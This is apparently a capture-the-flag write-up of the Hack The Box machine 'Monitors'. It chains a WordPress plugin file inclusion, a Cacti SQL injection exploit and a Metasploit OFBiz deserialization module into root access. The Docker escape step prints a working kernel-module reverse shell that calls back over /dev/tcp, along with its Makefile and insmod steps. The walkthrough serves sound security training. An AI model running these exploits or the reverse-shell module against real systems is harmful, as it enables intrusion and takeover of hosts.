Monitors Write-Up


Contents

Intro


This was my first hard box, it wasn't too bad but strong enumeration was defiantly required. The box has you leveraging a local file inclusion vulnerability to find credentials and allow for deeper enumeration to find a virtual host with a vulnerable dashboard to get you RCE. From there some grep and you have user. Root involved a docker escape with some problem solving. This is a really good box so if you haven't tried it already close this and try it! Otherwise... Let's go!

Foothold


Starting with Nmap:

[felixm@blackbear ~]$ nmap -sV -sC monitors.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously

Only SSH and HTTP. Let's have a look at what's on port 80:

This seems to be some sort of blog style website. No crazy enumeration required here to find the CMS responsible as I can already seen the grim "Wordpress" watermark in the bottom left corner. Since this is Wordpress we have a unique 'quick win' opportunity called WPScan. Before we manually start bruteforcing files and directories let's give it a whirl:

[felixm@blackbear ~]$ wpscan -e ap --url http://monitors.htb
_______________________________________________________________
            __          _______   _____
            \ \        / /  __ \ / ____|
             \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
              \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
               \  /\  /  | |     ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

            WordPress Security Scanner by the WPScan Team
                            Version 3.8.17
                                
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://monitors.htb/ [10.10.10.238]
[+] Started: Fri Aug 13 17:38:09 2021

Interesting Finding(s):

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] wp-with-spritz
    | Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
    | Latest Version: 1.0 (up to date)
    | Last Updated: 2015-08-20T20:15:00.000Z
    |
    | Found By: Urls In Homepage (Passive Detection)
    |
    | Version: 4.2.4 (80% confidence)
    | Found By: Readme - Stable Tag (Aggressive Detection)
    |  - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt

[+] Finished: Fri Aug 13 17:38:12 2021
[+] Elapsed time: 00:00:02

Now I don't know what that plugin is but a quick read of the readme.txt says "WP with Spritz lets your readers read more of your content quicker than ever using Spritz patented speed reading technology". Sounds weird but we can search for vulnerabilities. A quick Duckduckgo returns an ExploitDB which shows that there is indeed a Remote File Inclusion vulnerability. By adding /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url= we can read files.

The next question then is what do we want to read? I tried going straight for user flag and SSH keys but of course i couldn't read them as we're likely a low privileged web user. So in classic CMS exploitation fashion, let's go and look into the configuration files for some credentials we can potentially leverage.

Weirdly after searching for 10 minuties no websites wanted to tell me the static path to wp-config.php so I just kept slowly backing down the tree by removing one /../ at a time until i resolved the config file at http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php. Inside this file we can see:

Now this mess defiantly doesn't look like a complete configuration file. It does have some snippets of what look to be configuration options but something is missing... I have experience with PHP so when i looked closer and saw this define( 'LOGGED_IN_KEY', ')F6L,A23Tbr9yhrhbgjDHJPJe?sCsDzDow-$E?zYCZ3*f40LSCIb] E%zrW@bs3/' ); I realized that the configuration might be written in PHP and thus is not run client sided. My hypothesis was that a string of special characters might have caused an escape on the ?PHP tag. To get this page to actually render I just went to Burpsuite and threw the request into Repeater:

As hypothesized, one of the strings caused the PHP tag to break leaking some of the config into the page:

We now have some database credentials: wpadmin:BestAdministrator@2020! however attempting to leverage these credentials became quite a challenge. These credentials didn't work with SSH or the Wordpress admin panel. I ran multiple directory and file bruteforce attacks and found nothing. Getting desperate I was about start looking at subdomains before I realized I have LFI... I can just read the Apache config located at /etc/apache2/sites-available/000-default.conf:

Commented near the top we can see:

# Add cacti-admin.monitors.htb.conf    

If we add cacti-admin.monitors.htb into our /etc/hosts file and then throw it in the browser we are met with:

Looking at the credentials we found earlier we can foresee a problem: The user name is wpadmin which looks like a service specific username. Going to the Cacti official Github repository we can see that there is a default admin user with the username admin. Using this with the password we found earlier will get us in!

Looking around this platform it looks pretty complicated and I couldn't quite figure out what it was so I went back to the Github to find this: "Cacti is a complete network graphing solution designed to harness the power of RRDtool's data storage and graphing functionality". Manually finding a vulnerability in this would take a while so we can search for quick win exploits. Searching ExploitDB I found: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution.

[felixm@blackbear ~]$ python3 cacti.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost 10.10.14.9 --lport 4444

[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:4dd8aa22298c6e63f0b4185a5e3851bd07fd8ab2,1630534532
[+] Trying to log in...
[+] Successfully logged in!

[+] SQL Injection:
"name","hex"
"",""
"admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK"
"guest","43e9a4ab75570f5b"

[+] Check your nc listener!
www-data@monitors:/usr/share/cacti/cacti$ whoami && id

www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User


We have a shell! Now to privilege escalate! How from looking at the Github for Cacti earlier I know this app is massive. If their are clear text credentials in a configuration file somewhere it will take ages to find. Because of this I decided to go straight for a linpeas.sh. Unfortunately the target machine doesn't have curl or wget (indicator we might be in a container?), there is a method of using Netcat listener to pipe scripts through but I just decided to snoop around the common folders. Looking into the home folder we can see some interesting files and holders:

www-data@monitors:/home/marcus$ ls -la

drwxr-xr-x 5 marcus marcus 4096 Jan 25  2021 .
drwxr-xr-x 3 root   root   4096 Nov 10  2020 ..
d--x--x--x 2 marcus marcus 4096 Nov 10  2020 .backup
lrwxrwxrwx 1 root   root      9 Nov 10  2020 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 marcus marcus 3771 Apr  4  2018 .bashrc
drwx------ 2 marcus marcus 4096 Jan 25  2021 .cache
drwx------ 3 marcus marcus 4096 Nov 10  2020 .gnupg
-rw-r--r-- 1 marcus marcus  807 Apr  4  2018 .profile
-r--r----- 1 root   marcus   84 Jan 25  2021 note.txt
-r--r----- 1 root   marcus   33 Sep  1 21:44 user.txt

Both note.txt and .backup caught my attention. Unfortunately we can't read either of these files. Again we could use something like Pspy to monitor processes to see if there is a process writing to .backup on a cron job or something however again getting scripts across is painful so time for some dirty tricks! A backup script will have to reference the path to the .backup folder so grepping whole folders looking for the user's name is a decent start:

www-data@monitors:/$ grep 'marcus' /etc -R 2>/dev/null

/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash

Well /home/marcus/.backup/backup.sh looks like what we want. Going to the directory and cat'ing it shows:

www-data@monitors:/$ cat /etc/systemd/system/cacti-backup.service

[Unit]
Description=Cacti Backup Service
After=network.target

[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh

[Install]
WantedBy=multi-user.target

This looks like part of a Cacti feature that can backup your data, it seems to be leaking a backup.sh files which we couldn't previously see in the folder due to permissions. Let's see if we can just cat the .backup out of the home folder:

www-data@monitors:/home/marcus$ cat .backup/backup.sh

#!/bin/bash

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip

Lucky for us the folder may have the correct permissions but the script inside doesn't. We have some new credentials in the form of cacti_backup:VerticalEdge2020. We can now try this password against Marcus on SSH to see if we can get user:

[felixm@blackbear ~]$ ssh marcus@monitors.htb

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
Last login: Wed Sep  1 23:41:51 2021 from 10.10.14.9

marcus@monitors:~$ whoami && id

marcus
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)

Root


Remember that note.txt file we couldn't read earlier? Let's take a look:

marcus@monitors:~$ cat note.txt

TODO:

Disable phpinfo	in php.ini                  - DONE
Update docker image for production use	    - IN PROGRESS

This note seems to suggest that there is a container running: "Update docker image for production use". Running netstat -an we can try to see if there is a container running:

marcus@monitors:~$ netstat -an

Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN 

Here we can see this machine listening on port 8443 that I didn't see on the Nmap scan so I'm assuming this is the local Docker container. To allow us to connect to the container's service externally we need to forward this connection. This simplest way to do this is to use an SSH Tunnel. To do this we can use the following command: ssh -L 8443:127.0.0.1:8443 -R 4444:127.0.0.1:4444 -R 8080:127.0.0.1:8080 marcus@monitors.htb

We can now check port 8443 in the browser:

After setting off a directory brute force we can have a quick search for Tomcat 9.0 exploit brings up this blog about "Apache OFBiz XMLRPC via Deserialization of Untrusted Data" which can lead to RCE. This also has a Metasploit module we can try:

msf6 exploit(linux/http/apache_ofbiz_deserialization) > show options

Module options (exploit/linux/http/apache_ofbiz_deserialization):

    Name       Current Setting  Required  Description
    ----       ---------------  --------  -----------
    Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
    RHOSTS     127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
    RPORT      8443             yes       The target port (TCP)
    SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
    SRVPORT    8080             yes       The local port to listen on.
    SSL        true             no        Negotiate SSL/TLS for outgoing connections
    SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
    TARGETURI  /                yes       Base path
    URIPATH                     no        The URI to use for this exploit (default is random)
    VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter_reverse_https):

    Name   Current Setting  Required  Description
    ----   ---------------  --------  -----------
    LHOST  10.10.14.20      yes       The local listener hostname
    LPORT  4444             yes       The local listener port
    LURI                    no        The HTTP Path

You should now have root!

root@aa1667753861:/usr/src/apache-ofbiz-17.12.01# whoami && id 

root
uid=0(root) gid=0(root) groups=0(root)

Unfortunately going to the root directory doesn't yield us a flag. Remember the note from earlier? "Update docker image for production use"? Well it looks like we're in a container.

Time to go through the docker escape checklist! This is an excellent article to follow when looking to do a Docker escape but here is the TLDR:

Docker containers have "capabilities" which can allow them to perform administrative system actions on themselves. One of the major ones is called SYS_MODULE which allows you to load kernel modules from the container onto the host system as a non privileged user (A full list of capabilities can be found here). So how can we abuse loading kernel modules to get root privileges?

First let's check the capabilities we have in the container:

marcus@monitors:~$ capsh --print

Current: =
    Bounding set =
        cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
    Securebits: 
        secure-noroot: no (unlocked)
        secure-no-suid-fixup: no (unlocked)
        secure-keep-caps: no (unlocked)
uid=1000(marcus)
gid=1000(marcus)
groups=1000(marcus)       

Now we have a lot of capabilities but the key one mentioned in the article cap_sys_module is present so let's continue with the malicious kernel module exploitation, there are 2 parts to this: First is to create a C program that can invoke a reverse shell using usermode helper API. Second we need to make a Makefile to compile the C program as a kernel module (Again for a much deeper explanation check out the article).

Here is the exploit.c file (I placed in the root folder) containing the reverse shell:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.20/6969 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit); 

Here is the Makefile (I also placed in the root folder) containing the build instructions:

obj-m +=exploit.o
all:
    make -C /lib/modules/4.15.0-142-generic/build M=/root modules
clean:
    make -C /lib/modules/4.15.0-142-generic/build M=/root clean

Then we can now run make:

root@aa1667753861:~# make
make -C /lib/modules/4.15.0-142-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic'
make
    CC [M]  /root/exploit.o
    Building modules, stage 2.
    MODPOST 1 modules
    CC      /root/exploit.mod.o
    LD [M]  /root/exploit.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic'

If this was successful we should have some new files:

root@aa1667753861:~# ls -la
total 212
drwx------ 1 root root  4096 Apr  4 23:44 .
drwxr-xr-x 1 root root  4096 Apr  4 23:38 ..
lrwxrwxrwx 1 root root     9 Apr  9  2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root   570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root 74882 Apr  4 23:41 .cache.mk
-rw-r--r-- 1 root root   177 Apr  4 23:44 .exploit.ko.cmd
-rw-r--r-- 1 root root 29967 Apr  4 23:44 .exploit.mod.o.cmd
-rw-r--r-- 1 root root 29864 Apr  4 23:44 .exploit.o.cmd
drwxr-xr-x 2 root root  4096 Apr  4 23:44 .tmp_versions
-rw-r--r-- 1 root root   154 Apr  4 23:35 Makefile
-rw-r--r-- 1 root root     0 Apr  4 23:44 Module.symvers
-rw-r--r-- 1 root root   617 Apr  4 23:44 exploit.c
-rw-r--r-- 1 root root  5080 Apr  4 23:44 exploit.ko
-rw-r--r-- 1 root root   920 Apr  4 23:44 exploit.mod.c
-rw-r--r-- 1 root root  3016 Apr  4 23:44 exploit.mod.o
-rw-r--r-- 1 root root  4168 Apr  4 23:44 exploit.o
-rw-r--r-- 1 root root    24 Apr  4 23:44 modules.order

We can set up a nc listener and load our kernel module:

root@aa1667753861:~# insmod exploit.ko
[felixm@blackbear ~]$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.238] 56026

root@monitors:/# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)    

Notes


Wow this box was very hard. The first stages of the box have you really testing your enumeration skills figuring out to check the virtual hosts file took me a huge amount of time. The only other massive hurdle for me was getting the final kernel module make command to work. It took lots of troubleshooting as uname -r gave the incorrect version so i had to manually check and hard code the version into my Makefile. Lesions learned and new techniques gained, now I have 'check sites-available file' in my enumeration checklist!